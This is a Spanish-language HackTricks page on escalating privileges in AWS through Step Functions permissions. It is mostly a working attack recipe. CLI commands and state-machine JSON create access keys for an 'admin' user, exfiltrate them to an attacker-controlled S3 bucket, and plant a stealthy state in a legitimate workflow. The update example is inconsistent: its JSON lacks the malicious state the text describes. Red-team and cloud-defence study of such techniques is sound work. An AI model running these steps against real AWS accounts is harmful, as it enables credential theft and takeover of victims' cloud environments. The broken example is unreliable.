AWS - Step Functions Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Step Functions

Para más información sobre este servicio de AWS, consulta:

AWS - Step Functions Enum

Task Resources

Estas técnicas de escalada de privilegios requerirán el uso de algunos recursos de AWS Step Functions para llevar a cabo las acciones de escalada de privilegios deseadas.

Para revisar todas las acciones posibles, puedes ir a tu propia cuenta de AWS, seleccionar la acción que quieras usar y ver los parámetros que está usando, como en:

O también puedes ir a la documentación API de AWS y revisar la documentación de cada acción:

states:TestState & iam:PassRole

Un atacante con los permisos states:TestState y iam:PassRole puede probar cualquier state y pasarle cualquier rol IAM sin crear o actualizar una state machine existente, potencialmente permitiendo acceso no autorizado a otros servicios de AWS con los permisos de esos roles. Combinados, estos permisos pueden conducir a acciones no autorizadas extensas, desde manipular flujos de trabajo para alterar datos hasta filtraciones de datos, manipulación de recursos y escalada de privilegios.

aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

Los siguientes ejemplos muestran cómo probar un estado que crea una access key para el usuario admin aprovechando estos permisos y un rol permisivo del entorno AWS. Este rol permisivo debe tener asociada alguna política de alto privilegio (por ejemplo arn:aws:iam::aws:policy/AdministratorAccess) que permita que el estado ejecute la acción iam:CreateAccessKey:

  • stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • Comando ejecutado para realizar el privesc:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

Impacto potencial: Ejecución y manipulación no autorizada de workflows y acceso a recursos sensibles, lo que podría conducir a brechas de seguridad significativas.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

Un atacante con la states:CreateStateMachine& iam:PassRole podría crear una state machine y asignarle cualquier rol IAM, permitiendo acceso no autorizado a otros servicios de AWS con los permisos del rol. A diferencia de la técnica privesc anterior (states:TestState & iam:PassRole), esta no se ejecuta por sí sola; también necesitarás los permisos states:StartExecution o states:StartSyncExecution (states:StartSyncExecution es no está disponible para workflows estándar, solo para express state machines) para iniciar una ejecución sobre la state machine.

# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

Los siguientes ejemplos muestran cómo crear una state machine que crea una access key para el usuario admin y exfiltra dicha access key a un bucket de S3 controlado por el atacante, aprovechando estos permisos y un rol permisivo del entorno AWS. Este rol permisivo debería tener asociada alguna política de alto privilegio (por ejemplo arn:aws:iam::aws:policy/AdministratorAccess) que permita a la state machine realizar las acciones iam:CreateAccessKey y s3:putObject.

  • stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • Comando ejecutado para crear la máquina de estados:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • Comando ejecutado para iniciar una ejecución de la máquina de estados creada anteriormente:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

Warning

El bucket S3 controlado por el atacante debe tener permisos para aceptar una acción s3:PutObject desde la cuenta víctima.

Impacto potencial: Ejecución no autorizada y manipulación de flujos de trabajo y acceso a recursos sensibles, pudiendo conducir a brechas de seguridad significativas.

states:UpdateStateMachine & (not always required) iam:PassRole

Un atacante con el permiso states:UpdateStateMachine podría modificar la definición de una máquina de estados, pudiendo añadir estados adicionales y sigilosos que podrían terminar en una escalada de privilegios. De este modo, cuando un usuario legítimo inicie una ejecución de la máquina de estados, este nuevo estado malicioso y sigiloso se ejecutará y la escalada de privilegios tendrá éxito.

Dependiendo de cuán permisivo sea el rol de IAM asociado a la máquina de estados, el atacante se enfrentaría a 2 situaciones:

  1. Rol de IAM permisivo: Si el rol de IAM asociado a la máquina de estados ya es permisivo (por ejemplo, tiene adjunta la policy arn:aws:iam::aws:policy/AdministratorAccess), entonces el permiso iam:PassRole no sería necesario para escalar privilegios, dado que no sería preciso actualizar también el rol de IAM: basta con modificar la definición de la máquina de estados.
  2. Rol de IAM no permisivo: En contraste con el caso anterior, aquí el atacante también requeriría el permiso iam:PassRole, ya que sería necesario asociar un rol de IAM permisivo a la máquina de estados además de modificar la definición de la máquina de estados.
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

Los siguientes ejemplos muestran cómo actualizar una máquina de estados legítima que solo invoca una función HelloWorld Lambda, para añadir un estado extra que añade al usuario unprivilegedUser al Grupo IAM administrator. De este modo, cuando un usuario legítimo inicie una ejecución de la máquina de estados actualizada, se ejecutará este nuevo estado malicioso y sigiloso y la escalada de privilegios tendrá éxito.

Warning

Si la máquina de estados no tiene asociado un rol IAM permisivo, también sería necesario el permiso iam:PassRole para actualizar el rol IAM con el fin de asociar un rol IAM permisivo (por ejemplo, uno con la política arn:aws:iam::aws:policy/AdministratorAccess adjunta).

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • Comando ejecutado para actualizar la máquina de estados legítima:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

Impacto potencial: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría conducir a brechas de seguridad significativas.

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks